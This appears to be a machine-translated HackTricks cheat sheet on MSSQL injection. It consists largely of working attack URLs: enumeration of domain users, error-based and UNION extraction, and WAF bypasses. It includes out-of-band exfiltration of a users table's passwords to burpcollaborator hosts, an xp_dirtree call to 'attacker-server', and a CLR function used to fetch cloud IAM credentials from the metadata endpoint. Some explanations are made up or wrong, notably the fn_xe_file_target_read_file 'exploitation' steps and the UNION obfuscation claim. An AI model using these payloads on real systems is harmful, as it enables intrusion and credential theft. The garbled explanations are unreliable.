hacktricks/pentesting-web/sql-injection/mssql-injection.md
2023-06-06 18:56:34 +00:00

16 KiB

Injeção MSSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enumeração do Active Directory

Pode ser possível enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL usando as seguintes funções MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obter o nome do domínio atual.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Se você conhece o nome do domínio (DOMAIN neste exemplo), esta função retornará o SID do usuário Administrator em formato hexadecimal. Isso parecerá com 0x01050000000[...]0000f401, observe como os últimos 4 bytes são o número 500 em formato big endian, que é o ID comum do usuário administrador.
    Esta função permitirá que você conheça o ID do domínio (todos os bytes, exceto os últimos 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta função retornará o nome de usuário do ID indicado (se houver), neste caso 0000e803 em big endian == 1000 (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar a força bruta de IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
def get_sid(n):
	domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
	user = struct.pack('<I', int(n))
	user = user.hex()
	return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vetores baseados em erros alternativos

As injeções de SQL baseadas em erros geralmente se assemelham a construções como +AND+1=@@version-- e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados procurados.

Alguns exemplos de tais funções:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Exemplo de uso da função USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

Descrição

A função fn_xe_file_target_read_file é usada para ler arquivos do sistema de arquivos do servidor. É possível explorar essa função para realizar SSRF (Server-Side Request Forgery) e ler arquivos de outros servidores.

Exploração

Para explorar essa vulnerabilidade, é necessário criar um arquivo de evento XE (Extended Events) que chame a função fn_xe_file_target_read_file com o caminho do arquivo que se deseja ler. Em seguida, é necessário iniciar o evento XE e enviar uma solicitação HTTP para o servidor com o parâmetro file definido como o caminho do arquivo XE criado anteriormente.

Exemplo:

CREATE EVENT SESSION [test] ON SERVER 
ADD EVENT sqlserver.module_end(
    ACTION(sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.nt_username,sqlserver.server_principal_name,sqlserver.session_id,sqlserver.sql_text,sqlserver.username)
    WHERE ([sqlserver].[like_i_sql_unicode_string]([sqlserver].[sql_text],N'%fn_xe_file_target_read_file%'))
)
ADD TARGET package0.event_file(SET filename=N'C:\test.xel')
WITH (MAX_MEMORY=4096 KB,EVENT_RETENTION_MODE=ALLOW_SINGLE_EVENT_LOSS,MAX_DISPATCH_LATENCY=30 SECONDS,MAX_EVENT_SIZE=0 KB,MEMORY_PARTITION_MODE=NONE,TRACK_CAUSALITY=OFF,STARTUP_STATE=ON)
GO

ALTER EVENT SESSION [test] ON SERVER STATE=START
GO

Em seguida, envie uma solicitação HTTP para o servidor com o parâmetro file definido como o caminho do arquivo XE criado anteriormente:

GET /test.php?file=file:C:\test.xel HTTP/1.1
Host: example.com

Mitigação

Para mitigar essa vulnerabilidade, é necessário restringir o acesso à função fn_xe_file_target_read_file e garantir que o servidor não possa acessar arquivos que não deveria ter acesso. Além disso, é recomendável filtrar as entradas do usuário para evitar a injeção de código malicioso.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permissões: Requer permissão de VIEW SERVER STATE no servidor.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Esta é uma função do Microsoft SQL Server que retorna o conteúdo de um arquivo de auditoria em formato XML. É importante notar que essa função só pode ser executada por usuários com permissões de segurança específicas. Além disso, é possível explorar vulnerabilidades de injeção de SQL para obter acesso não autorizado a essa função e, consequentemente, aos arquivos de auditoria.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permissões: Requer a permissão CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

A função fn_trace_gettable é usada para recuperar dados de rastreamento do SQL Server. É possível usar essa função para recuperar informações de rastreamento de eventos específicos, como eventos de auditoria de logon, falhas de logon, execução de consultas e muito mais. Essa função pode ser explorada em ataques de injeção de SQL para recuperar informações confidenciais do banco de dados.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permissões: Requer a permissão CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

O método mais comum que você encontrará ao usar o MSSQL para fazer uma chamada de rede é o uso do Stored Procedure xp_dirtree, que estranhamente não é documentado pela Microsoft, o que fez com que outras pessoas na Internet documentassem isso. Este método tem sido usado em múltiplos exemplos de posts de exfiltração de dados fora de banda na Internet.

Essencialmente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);  
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Assim como o LOAD_FILE do MySQL, você pode usar o xp_dirtree para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.

PS: Isso não funciona no Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) em execução em um Windows Server 2016 Datacenter na configuração padrão.

Existem outros procedimentos armazenados, como o master..xp_fileexist ou xp_subdirs, que podem ser usados para resultados semelhantes.

xp_cmdshell

Obviamente, você também pode usar o xp_cmdshell para executar algo que desencadeie um SSRF. Para mais informações, leia a seção relevante na página:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

Função Definida pelo Usuário MSSQL - SQLHttp

É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário do Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la dentro do MSSQL para funções personalizadas. No entanto, isso requer acesso dbo, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como sa ou uma função de Administrador.

Este repositório do Github tem o projeto do Visual Studio e as instruções de instalação para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações HTTP GET de dentro do MSSQL.

O código http.cs usa a classe WebClient para fazer uma solicitação GET e buscar o conteúdo conforme especificado.

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
    [Microsoft.SqlServer.Server.SqlFunction]
    public static SqlString http(SqlString url)
    {
        var wc = new WebClient();
        var html = wc.DownloadString(url.Value);
        return new SqlString (html);
    }
}

Nas instruções de instalação, execute o seguinte antes da consulta CREATE ASSEMBLY para adicionar o hash SHA512 da assembly à lista de assemblies confiáveis no servidor (você pode ver a lista usando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Depois que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploração rápida: Recuperar uma tabela inteira em uma única consulta

Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade FOR JSON é melhor.

A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 

Os vetores baseados em erro precisam de um alias ou um nome, já que a saída de expressões sem nenhum dos dois não pode ser formatada como JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 

Recuperando a consulta atual

A consulta SQL atual em execução pode ser recuperada do acesso sys.dm_exec_requests e sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permissões: Se o usuário tiver permissão VIEW SERVER STATE no servidor, ele verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Pequenos truques para burlar WAFs

Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- 

Notação científica (0e) e hexadecimal (0x) para ofuscar UNION:

Uma técnica comum para ofuscar a palavra-chave UNION em uma consulta SQL é usar notação científica (0e) ou notação hexadecimal (0x) para representar a letra "U". Por exemplo, em vez de escrever "UNION ALL", pode-se escrever "UNI0N ALL" usando notação científica ou "UNI%30N ALL" usando notação hexadecimal. Isso pode enganar filtros de palavras-chave simples que procuram a palavra "UNION" em uma consulta. No entanto, essa técnica não é eficaz contra filtros mais avançados que podem detectar essas variações.

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
 
https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- 

Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- 

\N separador entre SELECT e uma coluna descartável:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- 

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥